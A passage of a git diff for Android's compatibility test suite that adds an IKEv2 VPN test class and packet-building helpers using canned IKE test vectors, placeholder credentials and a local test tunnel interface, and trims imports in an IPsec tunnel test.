+        final byte[] nonEspMarker = Arrays.copyOfRange(
+                ipv4Pkt, nonEspMarkerOffset, nonEspMarkerOffset + NON_ESP_MARKER.length);
+        return Arrays.equals(NON_ESP_MARKER, nonEspMarker);
+    }
+
+    private static boolean areSpiAndMsgIdEqual(
+            byte[] pkt, int ikeOffset, long expectedIkeInitSpi, int expectedMsgId) {
+        if (pkt.length <= ikeOffset + IKE_HEADER_LEN) {
+            return false;
+        }
+
+        final ByteBuffer buffer = ByteBuffer.wrap(pkt);
+        final long spi = buffer.getLong(ikeOffset);
+        final int msgId = buffer.getInt(ikeOffset + IKE_MSG_ID_OFFSET);
+
+        return expectedIkeInitSpi == spi && expectedMsgId == msgId;
+    }
+
+    private static InetAddress getSrcAddress(byte[] pkt) throws Exception {
+        return getAddress(pkt, true);
+    }
+
+    private static InetAddress getDstAddress(byte[] pkt) throws Exception {
+        return getAddress(pkt, false);
+    }
+
+    private static InetAddress getAddress(byte[] pkt, boolean getSrcAddr) throws Exception {
+        final int ipLen = isIpv6(pkt) ? IP6_ADDR_LEN : IP4_ADDR_LEN;
+        final int srcIpOffset = isIpv6(pkt) ? IP6_ADDR_OFFSET : IP4_ADDR_OFFSET;
+        final int ipOffset = getSrcAddr ? srcIpOffset : srcIpOffset + ipLen;
+
+        if (pkt.length < ipOffset + ipLen) {
+            // Should be impossible; getAddress() is only called with a full IKE request including
+            // the IP and UDP headers.
+            throw new IllegalArgumentException("Packet was too short to contain IP address");
+        }
+
+        return InetAddress.getByAddress(Arrays.copyOfRange(pkt, ipOffset, ipOffset + ipLen));
+    }
+
+    private static int getSrcPort(byte[] pkt) throws Exception {
+        return getPort(pkt, true);
+    }
+
+    private static int getDstPort(byte[] pkt) throws Exception {
+        return getPort(pkt, false);
+    }
+
+    private static int getPort(byte[] pkt, boolean getSrcPort) {
+        final int srcPortOffset = isIpv6(pkt) ? IP6_HDRLEN : IP4_HDRLEN;
+        final int portOffset = getSrcPort ? srcPortOffset : srcPortOffset + PORT_LEN;
+
+        if (pkt.length < portOffset + PORT_LEN) {
+            // Should be impossible; getPort() is only called with a full IKE request including the
+            // IP and UDP headers.
+            throw new IllegalArgumentException("Packet was too short to contain port");
+        }
+
+        final ByteBuffer buffer = ByteBuffer.wrap(pkt);
+        return Short.toUnsignedInt(buffer.getShort(portOffset));
+    }
+
+    private static byte[] buildIkePacket(
+            InetAddress srcAddr,
+            InetAddress dstAddr,
+            int srcPort,
+            int dstPort,
+            boolean useEncap,
+            byte[] payload)
+            throws Exception {
+        // Append non-ESP marker if encap is enabled
+        if (useEncap) {
+            final ByteBuffer buffer = ByteBuffer.allocate(NON_ESP_MARKER.length + payload.length);
+            buffer.put(NON_ESP_MARKER);
+            buffer.put(payload);
+            payload = buffer.array();
+        }
+
+        final UdpHeader udpPkt = new UdpHeader(srcPort, dstPort, new BytePayload(payload));
+        final IpHeader ipPkt = getIpHeader(udpPkt.getProtocolId(), srcAddr, dstAddr, udpPkt);
+        return ipPkt.getPacketBytes();
+    }
+}
diff --git a/tests/tests/net/src/android/net/cts/Ikev2VpnTest.java b/tests/tests/net/src/android/net/cts/Ikev2VpnTest.java
new file mode 100644
index 0000000..9eab024
--- /dev/null
+++ b/tests/tests/net/src/android/net/cts/Ikev2VpnTest.java
@@ -0,0 +1,535 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.TRANSPORT_VPN;
+import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.annotation.NonNull;
+import android.app.AppOpsManager;
+import android.content.Context;
+import android.content.Intent;
+import android.net.ConnectivityManager;
+import android.net.Ikev2VpnProfile;
+import android.net.IpSecAlgorithm;
+import android.net.LinkAddress;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.ProxyInfo;
+import android.net.TestNetworkInterface;
+import android.net.TestNetworkManager;
+import android.net.VpnManager;
+import android.net.cts.util.CtsNetUtils;
+import android.os.Build;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.internal.util.HexDump;
+import com.android.org.bouncycastle.x509.X509V1CertificateGenerator;
+import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo;
+import com.android.testutils.DevSdkIgnoreRunner;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.math.BigInteger;
+import java.net.InetAddress;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.PrivateKey;
+import java.security.cert.X509Certificate;
+import java.util.Arrays;
+import java.util.Date;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+import javax.security.auth.x500.X500Principal;
+
+@RunWith(DevSdkIgnoreRunner.class)
+@IgnoreUpTo(Build.VERSION_CODES.Q)
+@AppModeFull(reason = "Appops state changes disallowed for instant apps (OP_ACTIVATE_PLATFORM_VPN)")
+public class Ikev2VpnTest {
+    private static final String TAG = Ikev2VpnTest.class.getSimpleName();
+
+    // Test vectors for IKE negotiation in test mode.
+    private static final String SUCCESSFUL_IKE_INIT_RESP_V4 =
+            "46b8eca1e0d72a18b2b5d9006d47a0022120222000000000000002d0220000300000002c01010004030000"
+                    + "0c0100000c800e0100030000080300000c030000080200000400000008040000102800020800"
+                    + "100000b8070f159fe5141d8754ca86f72ecc28d66f514927e96cbe9eec0adb42bf2c276a0ab7"
+                    + "a97fa93555f4be9218c14e7f286bb28c6b4fb13825a420f2ffc165854f200bab37d69c8963d4"
+                    + "0acb831d983163aa50622fd35c182efe882cf54d6106222abcfaa597255d302f1b95ab71c142"
+                    + "c279ea5839a180070bff73f9d03fab815f0d5ee2adec7e409d1e35979f8bd92ffd8aab13d1a0"
+                    + "0657d816643ae767e9ae84d2ccfa2bcce1a50572be8d3748ae4863c41ae90da16271e014270f"
+                    + "77edd5cd2e3299f3ab27d7203f93d770bacf816041cdcecd0f9af249033979da4369cb242dd9"
+                    + "6d172e60513ff3db02de63e50eb7d7f596ada55d7946cad0af0669d1f3e2804846ab3f2a930d"
+                    + "df56f7f025f25c25ada694e6231abbb87ee8cfd072c8481dc0b0f6b083fdc3bd89b080e49feb"
+                    + "0288eef6fdf8a26ee2fc564a11e7385215cf2deaf2a9965638fc279c908ccdf04094988d91a2"
+                    + "464b4a8c0326533aff5119ed79ecbd9d99a218b44f506a5eb09351e67da86698b4c58718db25"
+                    + "d55f426fb4c76471b27a41fbce00777bc233c7f6e842e39146f466826de94f564cad8b92bfbe"
+                    + "87c99c4c7973ec5f1eea8795e7da82819753aa7c4fcfdab77066c56b939330c4b0d354c23f83"
+                    + "ea82fa7a64c4b108f1188379ea0eb4918ee009d804100e6bf118771b9058d42141c847d5ec37"
+                    + "6e5ec591c71fc9dac01063c2bd31f9c783b28bf1182900002430f3d5de3449462b31dd28bc27"
+                    + "297b6ad169bccce4f66c5399c6e0be9120166f2900001c0000400428b8df2e66f69c8584a186"
+                    + "c5eac66783551d49b72900001c000040054e7a622e802d5cbfb96d5f30a6e433994370173529"
+                    + "0000080000402e290000100000402f00020003000400050000000800004014";
+    private static final String SUCCESSFUL_IKE_INIT_RESP_V6 =
+            "46b8eca1e0d72a1800d9ea1babce26bf2120222000000000000002d0220000300000002c01010004030000"
+                    + "0c0100000c800e0100030000080300000c030000080200000400000008040000102800020800"
+                    + "100000ea0e6dd9ca5930a9a45c323a41f64bfd8cdef7730f5fbff37d7c377da427f489a42aa8"
+                    + "c89233380e6e925990d49de35c2cdcf63a61302c731a4b3569df1ee1bf2457e55a6751838ede"
+                    + "abb75cc63ba5c9e4355e8e784f383a5efe8a44727dc14aeaf8dacc2620fb1c8875416dc07739"
+                    + "7fe4decc1bd514a9c7d270cf21fd734c63a25c34b30b68686e54e8a198f37f27cb491fe27235"
+                    + "fab5476b036d875ccab9a68d65fbf3006197f9bebbf94de0d3802b4fafe1d48d931ce3a1a346"
+                    + "2d65bd639e9bd7fa46299650a9dbaf9b324e40b466942d91a59f41ef8042f8474c4850ed0f63"
+                    + "e9238949d41cd8bbaea9aefdb65443a6405792839563aa5dc5c36b5ce8326ccf8a94d9622b85"
+                    + "038d390d5fc0299e14e1f022966d4ac66515f6108ca04faec44821fe5bbf2ed4f84ff5671219"
+                    + "608cb4c36b44a31ba010c9088f8d5ff943bb9ff857f74be1755f57a5783874adc57f42bb174e"
+                    + "4ad3215de628707014dbcb1707bd214658118fdd7a42b3e1638b991ce5b812a667f1145be811"
+                    + "685e3cd3baf9b18d062657b64c206a4d19a531c252a6a51a04aeaf42c618620cdbab65baca23"
+                    + "82c57ed888422aeaacf7f1bc3fe2247ff7e7eaca218b74d7b31d02f2b0afa123f802529e7e6c"
+                    + "3259d418290740ddbf55686e26998d7edcbbf895664972fed666f2f20af40503aa2af436ec6d"
+                    + "4ec981ab19b9088755d94ae7a7c2066ea331d4e56e290000243fefe5555fce552d57a84e682c"
+                    + "d4a6dfb3f2f94a94464d5bec3d88b88e9559642900001c00004004eb4afff764e7b79bca78b1"
+                    + "3a89100d36d678ae982900001c00004005d177216a3c26f782076e12570d40bfaaa148822929"
+                    + "0000080000402e290000100000402f00020003000400050000000800004014";
+    private static final String SUCCESSFUL_IKE_AUTH_RESP_V4 =
+            "46b8eca1e0d72a18b2b5d9006d47a0022e20232000000001000000e0240000c420a2500a3da4c66fa6929e"
+                    + "600f36349ba0e38de14f78a3ad0416cba8c058735712a3d3f9a0a6ed36de09b5e9e02697e7c4"
+                    + "2d210ac86cfbd709503cfa51e2eab8cfdc6427d136313c072968f6506a546eb5927164200592"
+                    + "6e36a16ee994e63f029432a67bc7d37ca619e1bd6e1678df14853067ecf816b48b81e8746069"
+                    + "406363e5aa55f13cb2afda9dbebee94256c29d630b17dd7f1ee52351f92b6e1c3d8551c513f1"
+                    + "d74ac52a80b2041397e109fe0aeb3c105b0d4be0ae343a943398764281";
+    private static final String SUCCESSFUL_IKE_AUTH_RESP_V6 =
+            "46b8eca1e0d72a1800d9ea1babce26bf2e20232000000001000000f0240000d4aaf6eaa6c06b50447e6f54"
+                    + "827fd8a9d9d6ac8015c1ebb3e8cb03fc6e54b49a107441f50004027cc5021600828026367f03"
+                    + "bc425821cd7772ee98637361300c9b76056e874fea2bd4a17212370b291894264d8c023a01d1"
+                    + "c3b691fd4b7c0b534e8c95af4c4638e2d125cb21c6267e2507cd745d72e8da109c47b9259c6c"
+                    + "57a26f6bc5b337b9b9496d54bdde0333d7a32e6e1335c9ee730c3ecd607a8689aa7b0577b74f"
+                    + "3bf437696a9fd5fc0aee3ed346cd9e15d1dda293df89eb388a8719388a60ca7625754de12cdb"
+                    + "efe4c886c5c401";
+    private static final long IKE_INITIATOR_SPI = Long.parseLong("46B8ECA1E0D72A18", 16);
+
+    private static final InetAddress LOCAL_OUTER_4 = InetAddress.parseNumericAddress("192.0.2.1");
+    private static final InetAddress LOCAL_OUTER_6 =
+            InetAddress.parseNumericAddress("2001:db8::1");
+
+    private static final int IP4_PREFIX_LEN = 32;
+    private static final int IP6_PREFIX_LEN = 128;
+
+    // TODO: Use IPv6 address when we can generate test vectors (GCE does not allow IPv6 yet).
+    private static final String TEST_SERVER_ADDR_V4 = "192.0.2.2";
+    private static final String TEST_SERVER_ADDR_V6 = "2001:db8::2";
+    private static final String TEST_IDENTITY = "client.cts.android.com";
+    private static final List<String> TEST_ALLOWED_ALGORITHMS =
+            Arrays.asList(IpSecAlgorithm.AUTH_CRYPT_AES_GCM);
+
+    private static final ProxyInfo TEST_PROXY_INFO =
+            ProxyInfo.buildDirectProxy("proxy.cts.android.com", 1234);
+    private static final int TEST_MTU = 1300;
+
+    private static final byte[] TEST_PSK = "ikeAndroidPsk".getBytes();
+    private static final String TEST_USER = "username";
+    private static final String TEST_PASSWORD = "pa55w0rd";
+
+    // Static state to reduce setup/teardown
+    private static final Context sContext = InstrumentationRegistry.getContext();
+    private static final ConnectivityManager sCM =
+            (ConnectivityManager) sContext.getSystemService(Context.CONNECTIVITY_SERVICE);
+    private static final VpnManager sVpnMgr =
+            (VpnManager) sContext.getSystemService(Context.VPN_MANAGEMENT_SERVICE);
+    private static final CtsNetUtils mCtsNetUtils = new CtsNetUtils(sContext);
+
+    private final X509Certificate mServerRootCa;
+    private final CertificateAndKey mUserCertKey;
+
+    public Ikev2VpnTest() throws Exception {
+        // Build certificates
+        mServerRootCa = generateRandomCertAndKeyPair().cert;
+        mUserCertKey = generateRandomCertAndKeyPair();
+    }
+
+    @After
+    public void tearDown() {
+        setAppop(AppOpsManager.OP_ACTIVATE_VPN, false);
+        setAppop(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, false);
+    }
+
+    /**
+     * Sets the given appop using shell commands
+     *
+     * <p>This method must NEVER be called from within a shell permission, as it will attempt to
+     * acquire, and then drop the shell permission identity. This results in the caller losing the
+     * shell permission identity due to these calls not being reference counted.
+     */
+    public void setAppop(int appop, boolean allow) {
+        // Requires shell permission to update appops.
+        runWithShellPermissionIdentity(() -> {
+            mCtsNetUtils.setAppopPrivileged(appop, allow);
+        }, Manifest.permission.MANAGE_TEST_NETWORKS);
+    }
+
+    private Ikev2VpnProfile buildIkev2VpnProfileCommon(
+            Ikev2VpnProfile.Builder builder, boolean isRestrictedToTestNetworks) throws Exception {
+        if (isRestrictedToTestNetworks) {
+            builder.restrictToTestNetworks();
+        }
+
+        return builder.setBypassable(true)
+                .setAllowedAlgorithms(TEST_ALLOWED_ALGORITHMS)
+                .setProxy(TEST_PROXY_INFO)
+                .setMaxMtu(TEST_MTU)
+                .setMetered(false)
+                .build();
+    }
+
+    private Ikev2VpnProfile buildIkev2VpnProfilePsk(boolean isRestrictedToTestNetworks)
+            throws Exception {
+        return buildIkev2VpnProfilePsk(TEST_SERVER_ADDR_V6, isRestrictedToTestNetworks);
+    }
+
+    private Ikev2VpnProfile buildIkev2VpnProfilePsk(
+            String remote, boolean isRestrictedToTestNetworks) throws Exception {
+        final Ikev2VpnProfile.Builder builder =
+                new Ikev2VpnProfile.Builder(remote, TEST_IDENTITY).setAuthPsk(TEST_PSK);
+
+        return buildIkev2VpnProfileCommon(builder, isRestrictedToTestNetworks);
+    }
+
+    private Ikev2VpnProfile buildIkev2VpnProfileUsernamePassword(boolean isRestrictedToTestNetworks)
+            throws Exception {
+        final Ikev2VpnProfile.Builder builder =
+                new Ikev2VpnProfile.Builder(TEST_SERVER_ADDR_V6, TEST_IDENTITY)
+                        .setAuthUsernamePassword(TEST_USER, TEST_PASSWORD, mServerRootCa);
+
+        return buildIkev2VpnProfileCommon(builder, isRestrictedToTestNetworks);
+    }
+
+    private Ikev2VpnProfile buildIkev2VpnProfileDigitalSignature(boolean isRestrictedToTestNetworks)
+            throws Exception {
+        final Ikev2VpnProfile.Builder builder =
+                new Ikev2VpnProfile.Builder(TEST_SERVER_ADDR_V6, TEST_IDENTITY)
+                        .setAuthDigitalSignature(
+                                mUserCertKey.cert, mUserCertKey.key, mServerRootCa);
+
+        return buildIkev2VpnProfileCommon(builder, isRestrictedToTestNetworks);
+    }
+
+    private void checkBasicIkev2VpnProfile(@NonNull Ikev2VpnProfile profile) throws Exception {
+        assertEquals(TEST_SERVER_ADDR_V6, profile.getServerAddr());
+        assertEquals(TEST_IDENTITY, profile.getUserIdentity());
+        assertEquals(TEST_PROXY_INFO, profile.getProxyInfo());
+        assertEquals(TEST_ALLOWED_ALGORITHMS, profile.getAllowedAlgorithms());
+        assertTrue(profile.isBypassable());
+        assertFalse(profile.isMetered());
+        assertEquals(TEST_MTU, profile.getMaxMtu());
+        assertFalse(profile.isRestrictedToTestNetworks());
+    }
+
+    @Test
+    public void testBuildIkev2VpnProfilePsk() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
+
+        final Ikev2VpnProfile profile =
+                buildIkev2VpnProfilePsk(false /* isRestrictedToTestNetworks */);
+
+        checkBasicIkev2VpnProfile(profile);
+        assertArrayEquals(TEST_PSK, profile.getPresharedKey());
+
+        // Verify nothing else is set.
+        assertNull(profile.getUsername());
+        assertNull(profile.getPassword());
+        assertNull(profile.getServerRootCaCert());
+        assertNull(profile.getRsaPrivateKey());
+        assertNull(profile.getUserCert());
+    }
+
+    @Test
+    public void testBuildIkev2VpnProfileUsernamePassword() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
+
+        final Ikev2VpnProfile profile =
+                buildIkev2VpnProfileUsernamePassword(false /* isRestrictedToTestNetworks */);
+
+        checkBasicIkev2VpnProfile(profile);
+        assertEquals(TEST_USER, profile.getUsername());
+        assertEquals(TEST_PASSWORD, profile.getPassword());
+        assertEquals(mServerRootCa, profile.getServerRootCaCert());
+
+        // Verify nothing else is set.
+        assertNull(profile.getPresharedKey());
+        assertNull(profile.getRsaPrivateKey());
+        assertNull(profile.getUserCert());
+    }
+
+    @Test
+    public void testBuildIkev2VpnProfileDigitalSignature() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
+
+        final Ikev2VpnProfile profile =
+                buildIkev2VpnProfileDigitalSignature(false /* isRestrictedToTestNetworks */);
+
+        checkBasicIkev2VpnProfile(profile);
+        assertEquals(mUserCertKey.cert, profile.getUserCert());
+        assertEquals(mUserCertKey.key, profile.getRsaPrivateKey());
+        assertEquals(mServerRootCa, profile.getServerRootCaCert());
+
+        // Verify nothing else is set.
+        assertNull(profile.getUsername());
+        assertNull(profile.getPassword());
+        assertNull(profile.getPresharedKey());
+    }
+
+    private void verifyProvisionVpnProfile(
+            boolean hasActivateVpn, boolean hasActivatePlatformVpn, boolean expectIntent)
+            throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
+
+        setAppop(AppOpsManager.OP_ACTIVATE_VPN, hasActivateVpn);
+        setAppop(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, hasActivatePlatformVpn);
+
+        final Ikev2VpnProfile profile =
+                buildIkev2VpnProfilePsk(false /* isRestrictedToTestNetworks */);
+        final Intent intent = sVpnMgr.provisionVpnProfile(profile);
+        assertEquals(expectIntent, intent != null);
+    }
+
+    @Test
+    public void testProvisionVpnProfileNoPreviousConsent() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
+
+        verifyProvisionVpnProfile(false /* hasActivateVpn */,
+                false /* hasActivatePlatformVpn */, true /* expectIntent */);
+    }
+
+    @Test
+    public void testProvisionVpnProfilePlatformVpnConsented() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
+
+        verifyProvisionVpnProfile(false /* hasActivateVpn */,
+                true /* hasActivatePlatformVpn */, false /* expectIntent */);
+    }
+
+    @Test
+    public void testProvisionVpnProfileVpnServiceConsented() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
+
+        verifyProvisionVpnProfile(true /* hasActivateVpn */,
+                false /* hasActivatePlatformVpn */, false /* expectIntent */);
+    }
+
+    @Test
+    public void testProvisionVpnProfileAllPreConsented() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
+
+        verifyProvisionVpnProfile(true /* hasActivateVpn */,
+                true /* hasActivatePlatformVpn */, false /* expectIntent */);
+    }
+
+    @Test
+    public void testDeleteVpnProfile() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
+
+        setAppop(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, true);
+
+        final Ikev2VpnProfile profile =
+                buildIkev2VpnProfilePsk(false /* isRestrictedToTestNetworks */);
+        assertNull(sVpnMgr.provisionVpnProfile(profile));
+
+        // Verify that deleting the profile works (even without the appop)
+        setAppop(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, false);
+        sVpnMgr.deleteProvisionedVpnProfile();
+
+        // Test that the profile was deleted - starting it should throw an IAE.
+        try {
+            setAppop(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, true);
+            sVpnMgr.startProvisionedVpnProfile();
+            fail("Expected IllegalArgumentException due to missing profile");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    @Test
+    public void testStartVpnProfileNoPreviousConsent() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
+
+        setAppop(AppOpsManager.OP_ACTIVATE_VPN, false);
+        setAppop(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, false);
+
+        // Make sure the VpnProfile is not provisioned already.
+        sVpnMgr.stopProvisionedVpnProfile();
+
+        try {
+            sVpnMgr.startProvisionedVpnProfile();
+            fail("Expected SecurityException for missing consent");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    private void checkStartStopVpnProfileBuildsNetworks(IkeTunUtils tunUtils, boolean testIpv6)
+            throws Exception {
+        String serverAddr = testIpv6 ? TEST_SERVER_ADDR_V6 : TEST_SERVER_ADDR_V4;
+        String initResp = testIpv6 ? SUCCESSFUL_IKE_INIT_RESP_V6 : SUCCESSFUL_IKE_INIT_RESP_V4;
+        String authResp = testIpv6 ? SUCCESSFUL_IKE_AUTH_RESP_V6 : SUCCESSFUL_IKE_AUTH_RESP_V4;
+        boolean hasNat = !testIpv6;
+
+        // Requires MANAGE_TEST_NETWORKS to provision a test-mode profile.
+        mCtsNetUtils.setAppopPrivileged(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, true);
+
+        final Ikev2VpnProfile profile =
+                buildIkev2VpnProfilePsk(serverAddr, true /* isRestrictedToTestNetworks */);
+        assertNull(sVpnMgr.provisionVpnProfile(profile));
+
+        sVpnMgr.startProvisionedVpnProfile();
+
+        // Inject IKE negotiation
+        int expectedMsgId = 0;
+        tunUtils.awaitReqAndInjectResp(IKE_INITIATOR_SPI, expectedMsgId++, false /* isEncap */,
+                HexDump.hexStringToByteArray(initResp));
+        tunUtils.awaitReqAndInjectResp(IKE_INITIATOR_SPI, expectedMsgId++, hasNat /* isEncap */,
+                HexDump.hexStringToByteArray(authResp));
+
+        // Verify the VPN network came up
+        final NetworkRequest nr = new NetworkRequest.Builder()
+                .clearCapabilities().addTransportType(TRANSPORT_VPN).build();
+
+        final TestNetworkCallback cb = new TestNetworkCallback();
+        sCM.requestNetwork(nr, cb);
+        cb.waitForAvailable();
+        final Network vpnNetwork = cb.currentNetwork;
+        assertNotNull(vpnNetwork);
+
+        final NetworkCapabilities caps = sCM.getNetworkCapabilities(vpnNetwork);
+        assertTrue(caps.hasTransport(TRANSPORT_VPN));
+        assertTrue(caps.hasCapability(NET_CAPABILITY_INTERNET));
+        assertEquals(Process.myUid(), caps.getOwnerUid());
+
+        sVpnMgr.stopProvisionedVpnProfile();
+        cb.waitForLost();
+        assertEquals(vpnNetwork, cb.lastLostNetwork);
+    }
+
+    private void doTestStartStopVpnProfile(boolean testIpv6) throws Exception {
+        // Non-final; these variables ensure we clean up properly after our test if we have
+        // allocated test network resources
+        final TestNetworkManager tnm = sContext.getSystemService(TestNetworkManager.class);
+        TestNetworkInterface testIface = null;
+        TestNetworkCallback tunNetworkCallback = null;
+
+        try {
+            // Build underlying test network
+            testIface = tnm.createTunInterface(
+                    new LinkAddress[] {
+                            new LinkAddress(LOCAL_OUTER_4, IP4_PREFIX_LEN),
+                            new LinkAddress(LOCAL_OUTER_6, IP6_PREFIX_LEN)});
+
+            // Hold on to this callback to ensure network does not get reaped.
+            tunNetworkCallback = mCtsNetUtils.setupAndGetTestNetwork(
+                    testIface.getInterfaceName());
+            final IkeTunUtils tunUtils = new IkeTunUtils(testIface.getFileDescriptor());
+
+            checkStartStopVpnProfileBuildsNetworks(tunUtils, testIpv6);
+        } finally {
+            // Make sure to stop the VPN profile. This is safe to call multiple times.
+            sVpnMgr.stopProvisionedVpnProfile();
+
+            if (testIface != null) {
+                testIface.getFileDescriptor().close();
+            }
+
+            if (tunNetworkCallback != null) {
+                sCM.unregisterNetworkCallback(tunNetworkCallback);
+            }
+
+            final Network testNetwork = tunNetworkCallback.currentNetwork;
+            if (testNetwork != null) {
+                tnm.teardownTestNetwork(testNetwork);
+            }
+        }
+    }
+
+    @Test
+    public void testStartStopVpnProfileV4() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
+
+        // Requires shell permission to update appops.
+        runWithShellPermissionIdentity(() -> {
+            doTestStartStopVpnProfile(false);
+        });
+    }
+
+    @Test
+    public void testStartStopVpnProfileV6() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
+
+        // Requires shell permission to update appops.
+        runWithShellPermissionIdentity(() -> {
+            doTestStartStopVpnProfile(true);
+        });
+    }
+
+    private static class CertificateAndKey {
+        public final X509Certificate cert;
+        public final PrivateKey key;
+
+        CertificateAndKey(X509Certificate cert, PrivateKey key) {
+            this.cert = cert;
+            this.key = key;
+        }
+    }
+
+    private static CertificateAndKey generateRandomCertAndKeyPair() throws Exception {
+        final Date validityBeginDate =
+                new Date(System.currentTimeMillis() - TimeUnit.DAYS.toMillis(1L));
+        final Date validityEndDate =
+                new Date(System.currentTimeMillis() + TimeUnit.DAYS.toMillis(1L));
+
+        // Generate a keypair
+        final KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
+        keyPairGenerator.initialize(512);
+        final KeyPair keyPair = keyPairGenerator.generateKeyPair();
+
+        final X500Principal dnName = new X500Principal("CN=test.android.com");
+        final X509V1CertificateGenerator certGen = new X509V1CertificateGenerator();
+        certGen.setSerialNumber(BigInteger.valueOf(System.currentTimeMillis()));
+        certGen.setSubjectDN(dnName);
+        certGen.setIssuerDN(dnName);
+        certGen.setNotBefore(validityBeginDate);
+        certGen.setNotAfter(validityEndDate);
+        certGen.setPublicKey(keyPair.getPublic());
+        certGen.setSignatureAlgorithm("SHA256WithRSAEncryption");
+
+        final X509Certificate cert = certGen.generate(keyPair.getPrivate(), "AndroidOpenSSL");
+        return new CertificateAndKey(cert, keyPair.getPrivate());
+    }
+}
diff --git a/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java b/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java
index 1d83dda..ae38faa 100644
--- a/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java
+++ b/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java
@@ -18,20 +18,17 @@
 
 import static android.app.AppOpsManager.OP_MANAGE_IPSEC_TUNNELS;
 import static android.net.IpSecManager.UdpEncapsulationSocket;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_VPN;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_TRUSTED;
-import static android.net.NetworkCapabilities.TRANSPORT_TEST;
 import static android.net.cts.PacketUtils.AES_CBC_BLK_SIZE;
 import static android.net.cts.PacketUtils.AES_CBC_IV_LEN;
 import static android.net.cts.PacketUtils.BytePayload;
 import static android.net.cts.PacketUtils.EspHeader;
 import static android.net.cts.PacketUtils.IP4_HDRLEN;
 import static android.net.cts.PacketUtils.IP6_HDRLEN;
-import static android.net.cts.PacketUtils.Ip4Header;
-import static android.net.cts.PacketUtils.Ip6Header;
 import static android.net.cts.PacketUtils.IpHeader;
 import static android.net.cts.PacketUtils.UDP_HDRLEN;
 import static android.net.cts.PacketUtils.UdpHeader;
+import static android.net.cts.PacketUtils.getIpHeader;
+import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
 import static android.system.OsConstants.AF_INET;
 import static android.system.OsConstants.AF_INET6;
 
@@ -40,38 +37,28 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
-import android.app.AppOpsManager;
 import android.content.Context;
-import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.net.IpSecAlgorithm;
 import android.net.IpSecManager;
 import android.net.IpSecTransform;
 import android.net.LinkAddress;
 import android.net.Network;
-import android.net.NetworkRequest;
 import android.net.TestNetworkInterface;
 import android.net.TestNetworkManager;
 import android.net.cts.PacketUtils.Payload;
-import android.os.Binder;
-import android.os.Build;
-import android.os.IBinder;
+import android.net.cts.util.CtsNetUtils;
 import android.os.ParcelFileDescriptor;
-import android.os.SystemProperties;
 import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.SystemUtil;
-
-import java.net.Inet4Address;
 import java.net.Inet6Address;
 import java.net.InetAddress;
 import java.net.NetworkInterface;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.TimeUnit;
 
 import org.junit.AfterClass;
 import org.junit.Before;
@@ -114,7 +101,7 @@
     private static TunUtils sTunUtils;
 
     private static Context sContext = InstrumentationRegistry.getContext();
-    private static IBinder sBinder = new Binder();
+    private static final CtsNetUtils mCtsNetUtils = new CtsNetUtils(sContext);
 
     @BeforeClass
